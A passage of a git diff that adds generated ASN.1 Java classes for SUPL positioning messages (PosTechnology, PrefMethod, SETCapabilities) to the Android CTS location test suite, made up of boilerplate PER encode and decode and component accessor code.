+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAgpsSETassisted();
+ }
+
+ @Override public void setToNewInstance() {
+ setAgpsSETassistedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosTechnology.agpsSETassistedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "agpsSETassisted : "
+ + getAgpsSETassisted().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getAgpsSETBased() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAgpsSETBased();
+ }
+
+ @Override public void setToNewInstance() {
+ setAgpsSETBasedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosTechnology.agpsSETBasedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "agpsSETBased : "
+ + getAgpsSETBased().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getAutonomousGPS() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAutonomousGPS();
+ }
+
+ @Override public void setToNewInstance() {
+ setAutonomousGPSToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosTechnology.autonomousGPSType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "autonomousGPS : "
+ + getAutonomousGPS().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getAFLT() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAFLT();
+ }
+
+ @Override public void setToNewInstance() {
+ setAFLTToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosTechnology.aFLTType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "aFLT : "
+ + getAFLT().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getECID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getECID();
+ }
+
+ @Override public void setToNewInstance() {
+ setECIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosTechnology.eCIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "eCID : "
+ + getECID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getEOTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEOTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setEOTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosTechnology.eOTDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "eOTD : "
+ + getEOTD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getOTDOA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOTDOA();
+ }
+
+ @Override public void setToNewInstance() {
+ setOTDOAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosTechnology.oTDOAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "oTDOA : "
+ + getOTDOA().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionVer2_PosTechnology_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionVer2_PosTechnology_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionVer2_PosTechnology_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver2_PosTechnology_extension : "
+ + getExtensionVer2_PosTechnology_extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class agpsSETassistedType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_agpsSETassistedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public agpsSETassistedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_agpsSETassistedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_agpsSETassistedType != null) {
+ return ImmutableList.of(TAG_agpsSETassistedType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new agpsSETassistedType from encoded stream.
+ */
+ public static agpsSETassistedType fromPerUnaligned(byte[] encodedBytes) {
+ agpsSETassistedType result = new agpsSETassistedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new agpsSETassistedType from encoded stream.
+ */
+ public static agpsSETassistedType fromPerAligned(byte[] encodedBytes) {
+ agpsSETassistedType result = new agpsSETassistedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "agpsSETassistedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class agpsSETBasedType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_agpsSETBasedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public agpsSETBasedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_agpsSETBasedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_agpsSETBasedType != null) {
+ return ImmutableList.of(TAG_agpsSETBasedType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new agpsSETBasedType from encoded stream.
+ */
+ public static agpsSETBasedType fromPerUnaligned(byte[] encodedBytes) {
+ agpsSETBasedType result = new agpsSETBasedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new agpsSETBasedType from encoded stream.
+ */
+ public static agpsSETBasedType fromPerAligned(byte[] encodedBytes) {
+ agpsSETBasedType result = new agpsSETBasedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "agpsSETBasedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class autonomousGPSType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_autonomousGPSType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public autonomousGPSType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_autonomousGPSType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_autonomousGPSType != null) {
+ return ImmutableList.of(TAG_autonomousGPSType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new autonomousGPSType from encoded stream.
+ */
+ public static autonomousGPSType fromPerUnaligned(byte[] encodedBytes) {
+ autonomousGPSType result = new autonomousGPSType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new autonomousGPSType from encoded stream.
+ */
+ public static autonomousGPSType fromPerAligned(byte[] encodedBytes) {
+ autonomousGPSType result = new autonomousGPSType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "autonomousGPSType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class aFLTType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_aFLTType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public aFLTType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_aFLTType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_aFLTType != null) {
+ return ImmutableList.of(TAG_aFLTType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new aFLTType from encoded stream.
+ */
+ public static aFLTType fromPerUnaligned(byte[] encodedBytes) {
+ aFLTType result = new aFLTType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new aFLTType from encoded stream.
+ */
+ public static aFLTType fromPerAligned(byte[] encodedBytes) {
+ aFLTType result = new aFLTType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "aFLTType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class eCIDType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_eCIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public eCIDType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_eCIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_eCIDType != null) {
+ return ImmutableList.of(TAG_eCIDType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new eCIDType from encoded stream.
+ */
+ public static eCIDType fromPerUnaligned(byte[] encodedBytes) {
+ eCIDType result = new eCIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new eCIDType from encoded stream.
+ */
+ public static eCIDType fromPerAligned(byte[] encodedBytes) {
+ eCIDType result = new eCIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "eCIDType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class eOTDType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_eOTDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public eOTDType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_eOTDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_eOTDType != null) {
+ return ImmutableList.of(TAG_eOTDType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new eOTDType from encoded stream.
+ */
+ public static eOTDType fromPerUnaligned(byte[] encodedBytes) {
+ eOTDType result = new eOTDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new eOTDType from encoded stream.
+ */
+ public static eOTDType fromPerAligned(byte[] encodedBytes) {
+ eOTDType result = new eOTDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "eOTDType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class oTDOAType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_oTDOAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public oTDOAType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_oTDOAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_oTDOAType != null) {
+ return ImmutableList.of(TAG_oTDOAType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new oTDOAType from encoded stream.
+ */
+ public static oTDOAType fromPerUnaligned(byte[] encodedBytes) {
+ oTDOAType result = new oTDOAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new oTDOAType from encoded stream.
+ */
+ public static oTDOAType fromPerAligned(byte[] encodedBytes) {
+ oTDOAType result = new oTDOAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "oTDOAType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PosTechnology = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PrefMethod.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PrefMethod.java
new file mode 100755
index 0000000..05ef33f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PrefMethod.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class PrefMethod extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ agpsSETassistedPreferred(0),
+ agpsSETBasedPreferred(1),
+ noPreference(2),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_PrefMethod
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PrefMethod() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PrefMethod;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PrefMethod != null) {
+ return ImmutableList.of(TAG_PrefMethod);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new PrefMethod from encoded stream.
+ */
+ public static PrefMethod fromPerUnaligned(byte[] encodedBytes) {
+ PrefMethod result = new PrefMethod();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PrefMethod from encoded stream.
+ */
+ public static PrefMethod fromPerAligned(byte[] encodedBytes) {
+ PrefMethod result = new PrefMethod();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "PrefMethod = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SETCapabilities.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SETCapabilities.java
new file mode 100755
index 0000000..ec6b527
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SETCapabilities.java
@@ -0,0 +1,405 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions.Ver2_SETCapabilities_extension;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SETCapabilities extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SETCapabilities
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SETCapabilities() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SETCapabilities;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SETCapabilities != null) {
+ return ImmutableList.of(TAG_SETCapabilities);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SETCapabilities from encoded stream.
+ */
+ public static SETCapabilities fromPerUnaligned(byte[] encodedBytes) {
+ SETCapabilities result = new SETCapabilities();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SETCapabilities from encoded stream.
+ */
+ public static SETCapabilities fromPerAligned(byte[] encodedBytes) {
+ SETCapabilities result = new SETCapabilities();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PosTechnology posTechnology_;
+ public PosTechnology getPosTechnology() {
+ return posTechnology_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosTechnology
+ */
+ public void setPosTechnology(Asn1Object value) {
+ this.posTechnology_ = (PosTechnology) value;
+ }
+ public PosTechnology setPosTechnologyToNewInstance() {
+ posTechnology_ = new PosTechnology();
+ return posTechnology_;
+ }
+
+ private PrefMethod prefMethod_;
+ public PrefMethod getPrefMethod() {
+ return prefMethod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PrefMethod
+ */
+ public void setPrefMethod(Asn1Object value) {
+ this.prefMethod_ = (PrefMethod) value;
+ }
+ public PrefMethod setPrefMethodToNewInstance() {
+ prefMethod_ = new PrefMethod();
+ return prefMethod_;
+ }
+
+ private PosProtocol posProtocol_;
+ public PosProtocol getPosProtocol() {
+ return posProtocol_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosProtocol
+ */
+ public void setPosProtocol(Asn1Object value) {
+ this.posProtocol_ = (PosProtocol) value;
+ }
+ public PosProtocol setPosProtocolToNewInstance() {
+ posProtocol_ = new PosProtocol();
+ return posProtocol_;
+ }
+
+
+
+ private Ver2_SETCapabilities_extension extensionVer2_SETCapabilities_extension;
+ public Ver2_SETCapabilities_extension getExtensionVer2_SETCapabilities_extension() {
+ return extensionVer2_SETCapabilities_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_SETCapabilities_extension
+ */
+ public void setExtensionVer2_SETCapabilities_extension(Asn1Object value) {
+ extensionVer2_SETCapabilities_extension = (Ver2_SETCapabilities_extension) value;
+ }
+ public void setExtensionVer2_SETCapabilities_extensionToNewInstance() {
+ extensionVer2_SETCapabilities_extension = new Ver2_SETCapabilities_extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosTechnology() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosTechnology();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosTechnologyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosTechnology.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
